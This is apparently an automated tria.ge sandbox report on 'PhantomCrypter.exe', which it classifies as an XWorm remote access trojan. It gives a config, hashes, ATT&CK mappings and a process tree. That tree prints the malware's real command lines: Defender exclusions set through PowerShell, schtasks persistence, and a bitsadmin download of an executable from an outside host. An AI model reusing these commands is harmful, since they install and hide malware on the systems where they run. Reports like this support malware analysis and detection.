Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

PhantomCry...er.exe

windows11-21h2-x64

10

PhantomCry...on.dll

windows11-21h2-x64

1

PhantomCry...ns.dll

windows11-21h2-x64

1

PhantomCry...ib.dll

windows11-21h2-x64

1

Analysis

  • max time kernel
    300s
  • max time network
    300s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    20/01/2025, 15:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    PhantomCrypter/PhantomCrypter.exe

  • Size

    5.2MB

  • MD5

    e877adfe74b6bd2ad9b9f5c73f839152

  • SHA1

    ff73461cd1fc5d9755d8dfa135ed3f6401989d00

  • SHA256

    71e09355e41f28652a3749b8f109c75eb4e2b80fd2d3d651c420d6b1b73aaa96

  • SHA512

    7c0828a3e966dee6e93e8c6797068c1d4b27a9c1b88249381db6028d7ec18b282560a9e215da2f2c9841307c0f1732fea47983107fd606b850386e993f7431d1

  • SSDEEP

    98304:KUJgH4K+NsPeD9k/OYU2HkSBEIHFP2gH4KdBwgH/fkEihw:KUcT+NsPOkeLAVFXTdBwgH/Mr

Score
10/10
xwormdiscoverydropperexecutionpersistencerattrojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

fSptE7osVO19YSsZ

Attributes
  • Install_directory

    %AppData%

  • install_file

    msedge.exe

  • pastebin_url

    https://pastebin.com/raw/eZa6J63T

aes.plain
aes.plain
aes.plain
aes.plain

Signatures

  • Detect Xworm Payload 8 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Drops startup file 7 IoCs
  • Executes dropped EXE 21 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 35 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\PhantomCrypter.exe
    "C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\PhantomCrypter.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\msedge.exe
      "C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\msedge.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4692
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4796
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Roaming\msedge.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2972
    • C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\PhantomCrypters.exe
      "C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\PhantomCrypters.exe"
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4524
      • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
        "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Chrome Update.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:404
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Chrome Update.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Chrome Update.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Chrome Update.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5164
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Chrome Update" /tr "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5036
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1552
        • C:\Windows\SysWOW64\bitsadmin.exe
          "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://spyderrock.com/xkdg5397-run.exe C:\Users\Admin\AppData\Local\Temp\Notify.exe
          4⤵
          • Download via BitsAdmin
          • System Location Discovery: System Language Discovery
          PID:1380
      • C:\Users\Admin\AppData\Roaming\msedge.exe
        "C:\Users\Admin\AppData\Roaming\msedge.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\msedge.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4140
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5312
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5704
      • C:\Users\Admin\AppData\Roaming\OneDrive.exe
        "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5752
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4672
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1820
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\OneDrive.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5564
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\ProgramData\OneDrive.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3156
      • C:\Users\Admin\AppData\Roaming\TOPHERC.exe
        "C:\Users\Admin\AppData\Roaming\TOPHERC.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1580
  • C:\Users\Admin\AppData\Local\msedge.exe
    C:\Users\Admin\AppData\Local\msedge.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3032
  • C:\ProgramData\OneDrive.exe
    C:\ProgramData\OneDrive.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2952
  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:5684
  • C:\Users\Admin\AppData\Local\msedge.exe
    C:\Users\Admin\AppData\Local\msedge.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2996
  • C:\ProgramData\OneDrive.exe
    C:\ProgramData\OneDrive.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:6044
  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:5476
  • C:\Users\Admin\AppData\Local\msedge.exe
    C:\Users\Admin\AppData\Local\msedge.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1224
  • C:\ProgramData\OneDrive.exe
    C:\ProgramData\OneDrive.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2248
  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2092
  • C:\ProgramData\OneDrive.exe
    C:\ProgramData\OneDrive.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:6000
  • C:\Users\Admin\AppData\Local\msedge.exe
    C:\Users\Admin\AppData\Local\msedge.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1308
  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:5932
  • C:\Users\Admin\AppData\Local\msedge.exe
    C:\Users\Admin\AppData\Local\msedge.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2080
  • C:\ProgramData\OneDrive.exe
    C:\ProgramData\OneDrive.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4260
  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    "C:\Users\Admin\AppData\Roaming\Chrome Update.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

BITS Jobs

1
T1197

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

BITS Jobs

1
T1197

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1
T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Chrome Update.exe.log
    Filesize

    654B

    MD5

    2cbbb74b7da1f720b48ed31085cbd5b8

    SHA1

    79caa9a3ea8abe1b9c4326c3633da64a5f724964

    SHA256

    e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

    SHA512

    ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    627073ee3ca9676911bee35548eff2b8

    SHA1

    4c4b68c65e2cab9864b51167d710aa29ebdcff2e

    SHA256

    85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

    SHA512

    3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    e3840d9bcedfe7017e49ee5d05bd1c46

    SHA1

    272620fb2605bd196df471d62db4b2d280a363c6

    SHA256

    3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

    SHA512

    76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    568d3becab7283a0455cad6a0ce00806

    SHA1

    9188900331182352759eac75277ea9a3aa55146c

    SHA256

    5f83a3eceffa7cd9444071374bcd989dbdc7a6d97b3b5ec88334bc6c0c56efe7

    SHA512

    16e42f6714a90f042ed55bfa8d4dd50a1a52c2e954b9e896517ea5e3d033a9b7770795870c3ae34ff1221b7bbddfa46dc6b633ad17a90aa454f67ef405b6bd11

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    34e3230cb2131270db1af79fb3d57752

    SHA1

    21434dd7cf3c4624226b89f404fd7982825f8ac6

    SHA256

    0f162f27548a84db1638bcf46d03661b5bcb3032e765fafdb597cc107639ba39

    SHA512

    3756cb01e82dbda681b562eae74d0b8ef8b3787b126119a51a92c51a78204a7805b9bdd60c00c50a3be23b843e78bb153b656540767069f739ce421b9bc02335

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    53baceafe29eabe8b3af161873ec4af4

    SHA1

    0aa7a23375ea68302e8cdc0ca8fa020a56b4e74c

    SHA256

    cd12c5808bd48708772c5cc0b53c07941b643c8115bb8042b30ab96a1ceb61c8

    SHA512

    4166d67c20f6e7ad2843af73735a42391c2651dd8379cac74b4c09963e592dc475613dcd90280735b55ecdda6a2086c5d5d50b07616d9111a609de48b7fad296

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    9deb31d63c251368f1dcf297650b2997

    SHA1

    02a6835b82971ae7dba9d97e528412fac5247714

    SHA256

    9c598fb1420e5646126e8f7a42a3ea94b1050017e9cb67bbe6429f08c1bc2893

    SHA512

    0d6c8958a051b75f0d0a53e336954e102e642ad79a96f39fb1ed6643d77f9b54725b27eef460e33c89ff1d6136155cb6d873c25f9ae3dfc4a9d3a9346816477a

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    781da0576417bf414dc558e5a315e2be

    SHA1

    215451c1e370be595f1c389f587efeaa93108b4c

    SHA256

    41a5aef8b0bbeea2766f40a7bba2c78322379f167c610f7055ccb69e7db030fe

    SHA512

    24e283aa30a2903ebe154dad49b26067a45e46fec57549ad080d3b9ec3f272044efaaed3822d067837f5521262192f466c47195ffe7f75f8c7c5dcf3159ea737

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    8cb7f4b4ab204cacd1af6b29c2a2042c

    SHA1

    244540c38e33eac05826d54282a0bfa60340d6a1

    SHA256

    4994013dabe4f131d401879278eee147add6349124ea6452358dca7e2344c7a6

    SHA512

    7651cb6863a425840db610253151e271d3e8da26a8c633ce484247266fa226792ecb84b9578df3ab17fef84a5dfcad417b63a7df59c9650a907e08d59b91dd6e

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    b06fec51b17ad04ca5a8f5c2a8afb17b

    SHA1

    730e95a1226f4c4410ce967ae0f5402705628546

    SHA256

    3ea324ed0ebce7d5cced1b38d2e665d9495ed2f6ca0c4bc74b622926b998ab9c

    SHA512

    ca4f3e5f4ceb9bf7659c0dd1f8511246245ccc8e7c9cf7e634038773aa90149eb2ff534925e4d778649d19bde54675e69d71ea8f9fad186a44ef6f0b12bdfa59

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    46aa8471b372d92be2fd394980ef8723

    SHA1

    4cd9088d0ca22a7b3b06ceffbe908593cd7d09cc

    SHA256

    ba579bca3647e52c6df29d8497ff04f51e2029124130156421a6a7fa354a889d

    SHA512

    d5c818e935384ec16d8e7ccd07e197e8e6004eb3c672a431e3ea296e93121ac4612dda837cb781961b01a7807b9dff0fafa9114cde6aff17278929bc8427dc9f

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    e07eea85a8893f23fb814cf4b3ed974c

    SHA1

    8a8125b2890bbddbfc3531d0ee4393dbbf5936fe

    SHA256

    83387ce468d717a7b4ba238af2273da873b731a13cc35604f775a31fa0ac70ea

    SHA512

    9d4808d8a261005391388b85da79e4c5396bdded6e7e5ce3a3a23e7359d1aa1fb983b4324f97e0afec6e8ed9d898322ca258dd7cda654456dd7e84c9cbd509df

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    4914eb0b2ff51bfa48484b5cc8454218

    SHA1

    6a7c3e36ce53b42497884d4c4a3bda438dd4374b

    SHA256

    7e510fc9344ef239ab1ab650dc95bb25fd44e2efba8b8246a3ac17880ee8b69e

    SHA512

    83ab35f622f4a5040ca5cb615a30f83bb0741449225f1fd1815b6923e225c28241d0c02d34f83f743349a5e57f84ca1c6f44016797a93d5985be41d11be79500

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    cef328ddb1ee8916e7a658919323edd8

    SHA1

    a676234d426917535e174f85eabe4ef8b88256a5

    SHA256

    a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90

    SHA512

    747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\PhantomCrypters.exe
    Filesize

    5.0MB

    MD5

    d4d28f2c6fd9af9ee5a3be30f9ab913b

    SHA1

    be4264bceaff957ff799b73ebc2479f0fc794815

    SHA256

    c69d8df82357c95fe43db40465d0169ea8e0feacd8a3e4debe87865544100d9e

    SHA512

    7eed5b6d3420c930a07aee500e086ec61fd33099cd641a2efe7664081c0e5fdab4d1ad2b4835edcbe3e6722d44e60a75119a2900cfd00b7c182b20f379d7a977

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\PhantomCrypter\msedge.exe
    Filesize

    165KB

    MD5

    8c92b315d88907a31ad9eaa934a60660

    SHA1

    89c26c8a1f5b2db85e628a6526c9431e7febe5f8

    SHA256

    bea75b57f940b13d5bfcb05a0c3ae1def9d2d25f6c3115fc7b2bf85232175672

    SHA512

    b294fd15ac63bbd7cfd444c9df5a03c7bce8bc98d2b2d2011e5290638fba689ff083260ed60688cc4b0a0a59299dda0b1cc09ba8f63daf92efbeeaed604ebfc2

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xz0ef2o3.vrm.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Chrome Update.exe
    Filesize

    152KB

    MD5

    16cdd301591c6af35a03cd18caee2e59

    SHA1

    92c6575b57eac309c8664d4ac76d87f2906e8ef3

    SHA256

    11d55ac2f9070a70d12f760e9a6ee75136eca4bf711042acc25828ddda3582c8

    SHA512

    a44402e5e233cb983f7cfd9b81bc542a08d8092ffa4bd970fc25fe112355643506d5dfee0dd76f2e79b983df0fde67bfc50aabb477492a7596e38081e4083476

    Download Submit

  • C:\Users\Admin\AppData\Roaming\DownloaderLuc.hta
    Filesize

    844B

    MD5

    3f8a283abe6fe28a7d217c8105041426

    SHA1

    0283cd67e7cc0a99eeae3c3dea69716a6ac75bb1

    SHA256

    333c439c84ccbcab11dd9cc7f4d90596c5b65caf1164e8a908e61aa0222916b1

    SHA512

    bc5f8f256356c689953516877f8b7895fb1efe587feabdddf0e1524d0b22e3dcb89e0e654d19d0c314c6a376a0e7594965178a353d147ea98c43d3d5976f1846

    Download Submit

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk
    Filesize

    766B

    MD5

    e5f54c9304cf81db249de3155d2f18e4

    SHA1

    874bc855324ca5c97f9e7e5d91120403cbef8780

    SHA256

    69ed998b06a6189aacf7cfd537cde5aec79089fe5e6a9d279c7ca5c187e68bae

    SHA512

    29edb2606ec2ec2fd77c76c31d99b8cd9b41aaa08947d0d80ead46744569c8a40989bc10beea31fcf0be9a04a1c9568e1d766564d91e1a6c61a4907fd4fe82a0

    Download Submit

  • C:\Users\Admin\AppData\Roaming\OneDrive.exe
    Filesize

    140KB

    MD5

    a1cd6f4a3a37ed83515aa4752f98eb1d

    SHA1

    7f787c8d72787d8d130b4788b006b799167d1802

    SHA256

    5cbcc0a0c1d74cd54ac999717b0ff0607fe6ed02cca0a3e0433dd94783cfec65

    SHA512

    9489287e0b4925345fee05fe2f6e6f12440af1425ef397145e32e6f80c7ae98b530e42002d92dc156643f9829bc8a3b969e855cecd2265b6616c4514eed00355

    Download Submit

  • C:\Users\Admin\AppData\Roaming\TOPHERC.exe
    Filesize

    4.2MB

    MD5

    79f2fd33a188ff47216b4f4dd4552582

    SHA1

    16e40e0a1fed903fec20cd6cd600e3a2548881ad

    SHA256

    cc45d38fa00c5aeb33bdf842166460117b5e70b0b4fcf5bb6ef9747ec0b0575f

    SHA512

    caa33702fdc7e480a6093d2af035f860044a4e960fd6e5a4b91d6019f2c3d4c235d9e95734e6b54ea2a88af4e96bf72a54d81b2a70c1f64e76dcd202891905f2

    Download Submit

  • C:\Users\Admin\AppData\Roaming\msedge.exe
    Filesize

    166KB

    MD5

    aee20d80f94ae0885bb2cabadb78efc9

    SHA1

    1e82eba032fcb0b89e1fdf937a79133a5057d0a1

    SHA256

    498eb55b3fb4c4859ee763a721870bb60ecd57e99f66023b69d8a258efa3af7d

    SHA512

    3a05ff32b9aa79092578c09dfe67eaca23c6fe8383111dab05117f39d91f27670029f39482827d191bd6a652483202b8fc1813f8d5a0f3f73fd35ca37a4f6d42

    Download Submit

  • memory/1580-79-0x0000000000DA0000-0x00000000011D8000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/1580-85-0x0000000005B50000-0x0000000005B5A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/1580-84-0x0000000005C90000-0x0000000005D2C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1580-83-0x0000000005BF0000-0x0000000005C82000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1580-82-0x0000000006100000-0x00000000066A6000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1992-66-0x0000000000FD0000-0x0000000000FFE000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3732-41-0x00000000000D0000-0x00000000000FC000-memory.dmp

    Filesize

    176KB

    Download

  • memory/4524-81-0x00007FFC56A90000-0x00007FFC57552000-memory.dmp

    Filesize

    10.8MB

